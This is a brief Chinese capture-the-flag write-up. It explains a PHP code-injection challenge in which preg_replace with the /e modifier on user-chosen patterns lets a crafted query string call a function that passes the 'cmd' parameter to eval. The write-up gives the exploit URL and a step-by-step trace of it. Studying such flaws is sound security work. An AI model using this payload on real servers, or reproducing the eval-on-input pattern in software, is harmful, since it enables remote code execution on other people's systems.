主要是第二关挺有意思的,
题目
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
思路
以下是 payload 的执行过程:
以下是 payload 的执行过程:
-
构造请求:
-
攻击者发送请求:
http://example.com/?id=1&?\S*=${getFlag()}&&cmd=phpinfo(); -
$_GET数组包含以下内容:$_GET = [ 'id' => '1', '?\S*' => '${getFlag()}', 'cmd' => 'phpinfo();' ];
-
进入
foreach循环:
-
第一次循环:
-
$re = 'id',$str = '1',不会触发任何问题。
-
-
第二次循环:
-
$re = '?\S*',$str = '${getFlag()}'。 -
调用
complex($re, $str),即:
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);-
此时
$re是?\S*,$str是${getFlag()}。 -
preg_replace解析${getFlag()}并执行getFlag()函数。
-
-
执行
getFlag函数:
-
getFlag函数通过@eval($_GET['cmd'])执行phpinfo();。 -
输出 PHP 环境信息。
EXP
?\S*=${getFlag()}&&cmd=phpinfo();
2673

被折叠的 条评论
为什么被折叠?



